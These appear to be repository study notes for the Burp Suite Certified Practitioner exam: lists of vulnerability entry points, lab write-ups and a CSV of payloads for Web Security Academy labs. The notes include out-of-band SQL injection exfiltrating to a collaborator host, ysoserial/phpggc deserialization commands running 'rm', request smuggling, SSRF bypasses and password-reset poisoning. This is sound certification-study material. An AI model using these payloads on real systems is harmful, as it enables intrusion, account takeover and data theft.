├── Vuln Entry Points.md
├── Exam Prep Labs.md
├── README.md
└── BSCP Lab Commands.csv
/Vuln Entry Points.md:
--------------------------------------------------------------------------------
1 | # Vuln Entry Points
2 |
3 | ## Stage 1: Gaining access to a user
4 |
5 | ### List of possible vulns and the ‘hooks’ for exploitation:
6 |
7 | - XSS
8 | - search box
9 | - note the different labs this could be, including custom tag and some tags allowed
10 | - storeId parameter into location.search
11 | - ng-app
12 | - searchResults.js file with JSON response and eval() function
13 | - loadCommentsWithVulnerableEscapeHtml.js JavaScript function replace() to encode angle brackets.
14 | - onclick event handler attribute
15 | - JavaScript template string
16 | - CSRF
17 | - Change email function
18 | - Websocket hijacking via live chat
19 | - OAuth flow with no SameSite restrictions
20 | - Clickjacking
21 | - Change email myaccount
22 | - DOM-Based
23 | - addEventListener() that listens for web messages
24 | - event listener that uses JSON.parse() and postMessage()
25 | - client side cookie lastViewedProduct. onload event handler
26 | - location.href
27 | - CORS
28 | - Access-Control-Allow-Credentials
29 | - Access-Control-Allow-Origin
30 | - HTTP Request Smuggling
31 | - Test for request smuggling on home page using HTTP Request Smuggler extension and Active Scan
32 | - Access Control
33 | - roleid
34 | - myaccount
35 | - anything role related
36 | - Authentication
37 | - username enumeration and password brute force
38 | - Stay logged in cookie
39 | - password reset functionality
40 | - Web Cache Poisoning
41 | - /resources/js/tracking.js
42 | - `X-Forwarded-Scheme`
43 | - callback (/js/geolocate.js)
44 | - setCountryCookie
45 | - HTTP Host Header Attacks
46 | - temp-forgot-password-token
47 | - /resources/js/tracking.js
48 | - Collaborator interaction
49 | - OAuth
50 | - anything OAuth related
51 | - Social Media linkage
52 | - JWT
53 | - Anything JWT related
54 |
55 | ## Stage 2: Gaining access to admin
56 |
57 | ### List of possible vulns and the ‘hooks’ for exploitation:
58 |
59 | SQL Injection:
60 |
61 | - Products, Category, Released
62 | - Stock Checker
63 | - TrackingId Cookie
64 |
65 | XSS
66 |
67 | - search box
68 | - note the different labs this could be, including custom tag and some tags allowed
69 | - storeId parameter into location.search
70 | - ng-app
71 | - searchResults.js file with JSON response and eval() function
72 | - loadCommentsWithVulnerableEscapeHtml.js JavaScript function replace() to encode angle brackets.
73 | - onclick event handler attribute
74 | - JavaScript template string
75 |
76 | CSRF
77 |
78 | - Change email function
79 | - Websocket hijacking via live chat
80 | - OAuth flow with no SameSite restrictions
81 |
82 | Clickjacking
83 |
84 | - Change email myaccount
85 |
86 | DOM-Based
87 |
88 | - addEventListener() that listens for web messages
89 | - event listener that uses JSON.parse() and postMessage()
90 | - client side cookie lastViewedProduct. onload event handler
91 | - location.href
92 |
93 | CORS
94 |
95 | - Access-Control-Allow-Credentials
96 | - Access-Control-Allow-Origin
97 |
98 | HTTP Request Smuggling
99 |
100 | - Test for request smuggling on home page using HTTP Request Smuggler extension and Active Scan
101 |
102 | Access Control
103 |
104 | - roleid
105 | - myaccount
106 | - anything role related
107 |
108 | Authentication
109 |
110 | - username enumeration and password brute force
111 | - Stay logged in cookie
112 | - password reset functionality
113 |
114 | Web Cache Poisoning
115 |
116 | - /resources/js/tracking.js
117 | - `X-Forwarded-Scheme`
118 | - callback (/js/geolocate.js)
119 | - setCountryCookie
120 |
121 | HTTP Host Header Attacks
122 |
123 | - temp-forgot-password-token
124 | - /resources/js/tracking.js
125 | - Collaborator interaction
126 |
127 | OAuth
128 |
129 | - anything OAuth related
130 | - Social Media linkage
131 |
132 | JWT
133 |
134 | - Anything JWT related
135 |
136 | ## Stage 3: Data Exfiltration
137 |
138 | ### List of possible vulns and the ‘hooks’ for exploitation:
139 |
140 | SQL Injection:
141 |
142 | - Products, Category, Released
143 | - Stock Checker
144 | - TrackingId Cookie
145 |
146 | XXE
147 |
148 | - stockCheck
149 |
150 | SSRF
151 |
152 | - StockApi
153 | - path parameter
154 |
155 | OS Command Injection
156 |
157 | - productId
158 | - store ID
159 | - email
160 |
161 | SSTI
162 |
163 | - /message?=Out of stock
164 | - my-account/change-blog-post-author-display
165 |
166 | Directory Traversal
167 |
168 | - /image?filename=x.jpg
169 |
170 | Insecure Deserialisation
171 |
172 | - session cookie URL and base64 encoded
173 | - /libs/customTemplate.php
174 |
175 | File Upload Vulns
176 |
177 | - If you’re able to upload files
178 |
--------------------------------------------------------------------------------
/Exam Prep Labs.md:
--------------------------------------------------------------------------------
1 | # Exam Prep Labs
2 |
3 | **Exploiting cross-site scripting to steal cookies**
4 |
5 | ``
6 |
7 | or
8 |
9 | ```
10 |
17 | ```
18 |
19 | Post these payloads in a comment, then obtain the cookie and replace this to gain admin access.
20 |
21 | **Blind SQL injection with out-of-band data exfiltration**
22 |
23 | Burp Active Scan identifies the TrackingId cookie as being injectible
24 |
25 | Cookie: TrackingId=YhaxNa2jasATgGHz'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20nlmsj%20SYSTEM%20%22http%3a%2f%2f1wy2cf0dycy7ehcocpeua3wi79d31tpxdq0go5.oasti'%7c%7c'[fy.com](http://fy.com/)%2f%22%3e%25nlmsj%3b]%3e')%2c'%2fl')%20from%20dual)%7c%7c'
26 |
27 | '||(select extractvalue(xmltype('%nlmsj;]>'),'/l') from dual)||'
28 |
29 | `TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--`
30 |
31 | **Forced OAuth profile linking**
32 |
33 | Login with social media = OAuth based attack
34 |
35 | When linking a social media account using OAuth, there is a /oauth-linking request that includes a code. Intercept this request, copy the code and drop the request so it’s not used.
36 |
37 | Load the following in the exploit server:
38 |
39 |
40 |
41 | This will force the victim to link their account to your social media profile, as the code is associated to you.
42 |
43 | **Brute-forcing a stay-logged-in cookie**
44 |
45 | stay-logged in option when logging in
46 |
47 | d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
48 |
49 | wiener:51dc30ddc473d43a6011e9ebba6ca770
50 |
51 | username:MD5 hash of pw
52 |
53 | - Hash: `MD5`
54 | - Add prefix: `carlos:`
55 | - Encode: `Base64-encode`
56 |
57 | Add a grep-match rule to flag responses that have the “update email” option
58 |
59 | Use Simple List Payload Type
60 |
61 | **Exploiting HTTP request smuggling to capture other users' requests**
62 |
63 | POST / HTTP/1.1
64 | Host: [0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net](http://0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net/)
65 | Cookie: session=f53lqUGiuNYoeUkf1Q7n3O2zn6JiXW7n
66 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
67 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
68 | Accept-Language: en-US,en;q=0.5
69 | Accept-Encoding: gzip, deflate
70 | Referer: [https://0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net/](https://0a0e00c30425ea33c2c935fc0050003c.web-security-academy.net/)
71 | Upgrade-Insecure-Requests: 1
72 | Sec-Fetch-Dest: document
73 | Sec-Fetch-Mode: navigate
74 | Sec-Fetch-Site: same-origin
75 | Sec-Fetch-User: ?1
76 | Te: trailers
77 | Connection: keep-alive
78 | Content-Type: application/x-www-form-urlencoded
79 | Content-Length: 274
80 | Transfer-Encoding: chunked
81 |
82 | 0
83 |
84 | POST /post/comment HTTP/1.1
85 | Cookie: session=f53lqUGiuNYoeUkf1Q7n3O2zn6JiXW7n
86 | Content-Type: application/x-www-form-urlencoded
87 | Content-Length: 911
88 |
89 | csrf=ZDq330LAbNseA4tASzvN5i2YGXznGaPG&postId=3&name=Carlos+Montoya&email=carlos%[40normal-user.net](http://40normal-user.net/)&website=&comment=t
90 |
91 | HTTP Request Smuggler can identify that it is a CL.TE vuln, then build the steps so that the comment is left in the blog post. Make sure the content-length of the smuggled request is accurate.
92 |
93 | **SSRF with blacklist-based input filter**
94 |
95 | stockApi=http://127.0.0.1/admin
96 |
97 | returns:
98 |
99 | "External stock check blocked for security reasons”
100 |
101 | stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
102 |
103 | shorten the notation for localhost, double URL encode “admin”
104 |
105 | **SQL injection with filter bypass via XML encoding**
106 |
107 | Use Active Scan on the Stock check, identifies Postgresql injection.
108 |
109 | Convert/obfuscate payload using XML entities.Highlight input and right-click > Extensions > Hackvertor > Encode > dec_entities/hex_entities.
110 |
111 | **Discovering vulnerabilities quickly with targeted scanning**
112 |
113 | Send the stock check request to intruder, add the two insertion points and scan. Identifies XML injection via XInclude, which then allows you to identify the payload from previous labs
114 |
115 | productId=
`
63 |
64 | ### POC development
65 |
66 | pay attention to the quotes and encoding
67 |
68 | " > < s >
69 |
70 | XSS payload and encoding tips:
71 |
72 | -
foo,"the path requested is reflected in the error message, /random doesn’t exist.
834 |
835 | when loaded directly, it doesn’t alert due to URL-encoding. But when poisoned and loaded, the browsers encoded payload was URL-decoded by the cache.","Practitioner, Web Cache Poisoning"
836 | 133,Modifying serialized objects,"Burp Repeater, use the Inspector to examine the cookie again and change the value of the admin
837 | attribute to b:1
838 | . Click ""Apply changes"". The modified object will automatically be re-encoded and updated in the request.","Session cookie is URL and base64 encoded.
839 |
840 | It is a serialized PHP object. admin attribute contains b:0 for false.
841 |
842 | ","Apprentice, Insecure Deserialization"
843 | 134,Modifying serialized data types,"O:4:""User"":2:{s:8:""username"";s:13:""administrator"";s:12:""access_token"";i:0;}","Update the length of the username attribute to 13.
844 |
845 | Change the username to administrator.
846 |
847 | Change the access token to the integer 0. As this is no longer a string, you also need to remove the double-quotes surrounding the value.
848 |
849 | Update the data type label for the access token by replacing s with i.","Insecure Deserialization, Practitioner"
850 | 135,Using application functionality to exploit insecure deserialization,"s:11:""avatar_link"";s:23:""/home/carlos/morale.txt""","The cookie has a serialized object avatar_link attribute, which points to your avatar via file path. This is when the account is deleted.
851 |
852 | Modify this path to point to /home/carlos/morale.txt
853 |
854 | Remember to update the length indicator","Insecure Deserialization, Practitioner"
855 | 136,Arbitrary object injection in PHP,"O:14:""CustomTemplate"":1:{s:14:""lock_file_path"";s:23:""/home/carlos/morale.txt"";}","/libs/CustomTemplate.php referenced. You can read the source code of this file by appending the ~ character to the filename.
856 |
857 | CustomTemplate class contains the destruct() magic method, which invokes unlink() on the lockfile_path attribute.
858 |
859 | Base64 and URL encode the payload, then add this as a session cookie.
860 |
861 | Session cookie looks like originally:
862 |
863 | O:4:""User"":2:{s:8:""username"";s:6:""wiener"";s:12:""access_token"";s:32:""olt9dugduro0pn89dvad0ckshsxn5ad7"";}
864 |
865 | (after URL and base64 decode)","Insecure Deserialization, Practitioner"
866 | 137,Exploiting Java deserialization with Apache Commons,java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64,"Replace session cookie with the output of ysoserial, then URL-encode it.
867 |
868 | Session cookie looks like originally:
869 |
870 | ¬í�sr�/lab.actions.common.serializable.AccessTokenUserQüå'©�L�accessTokent�Ljava/lang/String;L�usernameq�~�xpt� o3nsmfykon6aoe1st16bub2f8pc02yqht�wiener
871 |
872 | (after URL and base64 decode)","Insecure Deserialization, Practitioner"
873 | 138,Exploiting PHP deserialization with a pre-built gadget chain,"./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
874 |
875 | Generate payload object
876 |
877 | Find Comments. This will identify interesting HTML comments.,"Apprentice, Information Disclosure"
909 | 142,Source code disclosure via backup files,/backup/ProductTemplate.java.bak,"/robots.txt
910 | and notice that it reveals the existence of a /backup directory. Browse to /backup to find the file ProductTemplate.java.bak
911 |
912 | Or, ""Engagement tools"" > ""Discover content"". Then, launch a content discovery session to discover the /backupdirectory and its contents.","Apprentice, Information Disclosure"
913 | 143,Authentication bypass via information disclosure,"TRACE /admin
914 |
915 | X-Custom-IP-Authorization: 127.0.0.1","""Proxy"" > ""Options"", scroll down to the ""Match and Replace"" section, and click ""Add"". Leave the match condition blank, but in the ""Replace"" field, enter:X-Custom-IP-Authorization: 127.0.0.1","Apprentice, Information Disclosure"
916 | 144,Information disclosure in version control history,"wget -r https://YOUR-LAB-ID.web-security-academy.net/.git/
917 |
918 | admin.conf",,"Information Disclosure, Practitioner"
919 | 145,Excessive trust in client-side controls,"POST /cart
920 |
921 | Change price parameter to an arbitrary value when adding a product to the cart.","There is a logic flaw in the purchasing workflow to buy items for an unintended price.
922 |
923 | The application is relying on the client side value and not checking this when it is submitted to the server.","Apprentice, Business Logic Vulnerabilities"
924 | 146,High-level logic vulnerability,"POST /cart
925 |
926 | change the quantity parameter to negative values to reduce the price of the cart.","Change the quantity parameter to a negative value, this lowers the price of the cart.
927 |
928 | Add the leather jacket to the cart, then add negative quantities of another product to lower the price of the cart.","Apprentice, Business Logic Vulnerabilities"
929 | 147,Inconsistent security controls,"Only “@dontwannacry” users can access /admin
930 |
931 | Register with an email address
932 |
933 | anything@your-email-id.web-security-academy.net
934 |
935 | Go to account and change email to anything@dontwannacry","The /admin endpoint is locked to specific users with an email domain. You can’t sign up with an email address at this domain as you won’t have access to the @dontwannacry email domain.
936 |
937 | However, you can register with a normal email address and then change your email address in the account settings.","Apprentice, Business Logic Vulnerabilities"
938 | 148,Flawed enforcement of business rules,"Coupons NEWCUST5 and SIGNUP30
939 |
940 | Adding the same coupon twice in a row is rejected, but adding the coupons in alternate order will bypass this control","Alternating between two different coupon codes will provide infinite money.
941 |
942 | The intended control is to prevent the same coupon from being added multiple times, but this does not apply when 2 (or more) coupons are used in alternate.","Apprentice, Business Logic Vulnerabilities"
943 | 149,Low-level logic flaw,"POST /cart
944 |
945 | Use Intruder to rapidly increase the price, once the cart reaches the maximium limit it switches to a negative interger and start counting toward 0.
946 |
947 | Use Intruder and Repeater to make the cart value between 0 and 100 dollars to purchase",Note that you need to use other items other than just the jacket to have the price land between 0 and 100.,"Business Logic Vulnerabilities, Practitioner"
948 | 150,Inconsistent handling of exceptional input,very-long-string@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net,"using a very long email address is truncated to just 255 characters.
949 |
950 | Make sure the very-long-string is the right number of characters so that the ‘m’ at the end of @dontwannacry.com is character 255.
951 |
952 | This will then be truncated, so that the resulting address appears to be a valid @dontwannacry.com domain","Business Logic Vulnerabilities, Practitioner"
953 | 151,Weak isolation on dual-use endpoint,"POST /my-account/change-password
954 |
955 | remove the current-password parameter, this still changes the password. Change password for administrator user.",Set username=administrator to change the password for the administrator user,"Business Logic Vulnerabilities, Practitioner"
956 | 152,Insufficient workflow validation,"GET /cart/order-confirmation?order-confirmation=true
957 |
958 | Add the jacket to the basket.","POST /cart/checkout
959 | request redirects you to an order confirmation page via GET /cart/order-confirmation?order-confirmation=true
960 |
961 | This order-confirmation page can be modified to modify the shopping order, bypassing the cart/checkout process.","Business Logic Vulnerabilities, Practitioner"
962 | 153,Authentication bypass via flawed state machine,"Drop GET /role-selector request, the default role administrator is applied to the account.","GET /role-selector is the request after logging in, this request can be dropped which sets the account to the default role which is administrator.","Business Logic Vulnerabilities, Practitioner"
963 | 154,Infinite money logic flaw,"POST /cart
964 | POST /cart/coupon
965 | POST /cart/checkout
966 | GET /cart/order-confirmation?order-confirmed=true
967 | POST /gift-card","Use the SIGNUP30 coupon to buy a 10 dollar gift card at 30% discount, which profits $3.
968 |
969 | Run a macro in Burp:
970 |
971 | ""Project options"" > ""Sessions"". In the ""Session handling rules""
972 | panel, click ""Add"". The ""Session handling rule editor"" dialog opens.
973 |
974 | In the dialog, go to the ""Scope"" tab. Under ""URL Scope"", select ""Include all URLs"".
975 |
976 | Go back to the ""Details"" tab. Under ""Rule
977 | actions"", click ""Add"" > ""Run a macro"". Under ""Select macro"", click
978 | ""Add"" again to open the Macro Recorder.
979 |
980 | In the list of requests, select GET /cart/order-confirmation?order-confirmed=true. Click ""Configure item"". In the dialog that opens, click ""Add"" to create a custom parameter. Name the parameter gift-card and highlight the gift card code at the bottom of the response. Click ""OK"" twice to go back to the Macro Editor.
981 |
982 | Select the POST /gift-card request and click ""Configure item"" again. In the ""Parameter handling"" section, use the drop-down menus to specify that the gift-card parameter should be derived from the prior response (response 4). Click ""OK"".","Business Logic Vulnerabilities, Practitioner"
983 | 155,Authentication bypass via encryption oracle,"xxxxxxxxxadministrator:your-timestamp
984 |
985 | cookie format is administrator:your-timestamp","stay-logged-in
986 | cookie is encrypted.
987 |
988 | Send the POST /post/comment
989 | and the subsequent GET /post?postId=x
990 | request (containing the notification cookie) to Burp Repeater.","Business Logic Vulnerabilities, Practitioner"
991 | 156,Basic password reset poisoning,"Modify Host header: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
992 |
993 | Modify username in body parameter: carlos. Use the temp-forgot-password-token obtained to change the password of Carlos account.","The forgot password functionality will send an email with a URL that contains the query parameter temp-forgot-password-token.
994 |
995 | POST /forgot-password is used to trigger the password reset email, which contains the username as a body parameter.
996 |
997 | Changing the Host header changes the URL of the password reset link in the email sent.
998 |
999 | Generate a request with the exploit server as Host header and username as carlos. This will send a password reset link to Carlos’ email, when clicked, the temp-forgot-password-token will be included as a parameter in the request to the exploit server.","Apprentice, HTTP Host Header Attacks"
1000 | 157,Host header authentication bypass,"GET /admin
1001 |
1002 | Host header to localhost","Browse to /admin, error message reveals it can be accessed by local users.","Apprentice, HTTP Host Header Attacks"
1003 | 158,Web cache poisoning via ambiguous requests,"Exploit server /resources/js/tracking.js
1004 | alert(document.cookie)
1005 |
1006 | GET /?cb=123 HTTP/1.1
1007 | Host: YOUR-LAB-ID.web-security-academy.net
1008 | Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
1009 |
1010 | Remove cache buster, re-poison the cache so that users browsing to / are served the malicious js file.","The Host header is being validated in requests to /.
1011 |
1012 | Add an arbitrary query parameter to your requests to serve as a cache buster, for example, GET /?cb=123
1013 |
1014 | add a second Host header with an arbitrary value, this appears to be
1015 | ignored when validating and routing your request. The arbitrary value of your second Host header is reflected in an absolute URL used to import a script from /resources/js/tracking.js","HTTP Host Header Attacks, Practitioner"
1016 | 159,Routing-based SSRF,"Host: 192.168.0.§0§
1017 |
1018 | Identify the correct IP address, then browse to /admin with this as the Host header. Obtain a CSRF token when requesting /admin/delete. Use this to craft the full request.
1019 |
1020 | Full query parameter:
1021 |
1022 | GET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
1023 |
1024 | Obtain session cookie, modify request to POST and send.","Insert a collaborator payload in the Host header, then note that interactions are made when requests are sent to the web server.
1025 |
1026 | Use Intruder to replace the Host header with IP addresses, iterating up from 0 to 255 with a step of 1.","HTTP Host Header Attacks, Practitioner"
1027 | 160,SSRF via flawed request parsing,"Scan IP range using Host header and Intruder.
1028 |
1029 | Use absolute URL, obtain CSRF token, then generate the request
1030 |
1031 | GET https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
1032 |
1033 | Obtain session cookie, then modify request to POST and include cookie.","Use an absolute URL instead of the standard URL.
1034 |
1035 | e.g.GET https://YOUR-LAB-ID.web-security-academy.net/
1036 |
1037 | This then allows for the Host header to be modified.
1038 |
1039 | e.g.GET https://YOUR-LAB-ID.web-security-academy.net/
1040 | Host: BURP-COLLABORATOR-SUBDOMAIN
1041 |
1042 | ","HTTP Host Header Attacks, Practitioner"
1043 | 161,SSRF via flawed request parsing,"Split the requests, one to / and one to the following. Obtain the necessary information in requests to /admin first.
1044 |
1045 | POST /admin/delete HTTP/1.1
1046 | Host: 192.168.0.1
1047 | Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
1048 | Content-Type: x-www-form-urlencoded
1049 | Content-Length: CORRECT
1050 |
1051 | csrf=YOUR-CSRF-TOKEN&username=carlos
1052 |
1053 | ","Open two repeater tabs,
1054 |
1055 | First one is standard to /
1056 | Second one is to /admin with Host header 192.168.0.1
1057 |
1058 | Using the drop-down menu next to the Send button, change the send mode to Send group in sequence (single connection)
1059 |
1060 | Change the Connectionheader to keep-alive
1061 |
1062 | Make note of the details such as path, username input and csrf token.
1063 |
1064 | How it works: Although the front-end server may initially appear to perform robust validation of the Host header, it makes assumptions about all requests on a connection based on the first request it receives.","HTTP Host Header Attacks, Practitioner"
1065 | 162,Authentication bypass via OAuth implicit flow,"POST /authenticate
1066 |
1067 | change email address to carlos@carlos-montoya.net","Start of the OAuth flow:
1068 | GET /auth?client_id=[...]
1069 |
1070 | logs user in with a POST request to /authenticate along with the access token. This flawed validation allows you to change the email address to another account and login with that.
1071 |
1072 | Right-click on the POST
1073 | request and select ""Request in browser"" > ""In original session"". Copy this URL and visit it in the browser.","Apprentice, OAuth"
1074 | 163,Forced OAuth profile linking,"Intercept requests when linking a social media account. Copy the URL for GET /oauth-linking?code=[...]
1075 |
1076 | Drop the request and log out so you have a valid code.
1077 |
1078 | Exploit server:
1079 |